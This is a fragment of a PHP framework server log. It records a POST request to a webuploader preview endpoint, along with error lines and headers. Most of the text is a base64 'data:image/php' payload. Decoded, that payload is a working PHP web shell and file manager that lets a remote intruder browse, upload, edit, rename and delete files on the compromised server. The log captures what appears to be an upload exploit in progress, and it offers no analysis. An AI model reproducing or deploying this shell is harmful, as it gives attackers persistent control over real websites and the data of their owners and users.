'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:00+08:00 ] 116.213.36.234 POST www.51tianwei.com/Tpl/Home/default/Public/Hui/lib/webuploader/0.1.5/server/server/preview.php [运行时间:0.002688s] [吞吐率:372.03req/s] [内存消耗:196.98kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Tpl', 2 => 'Home', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 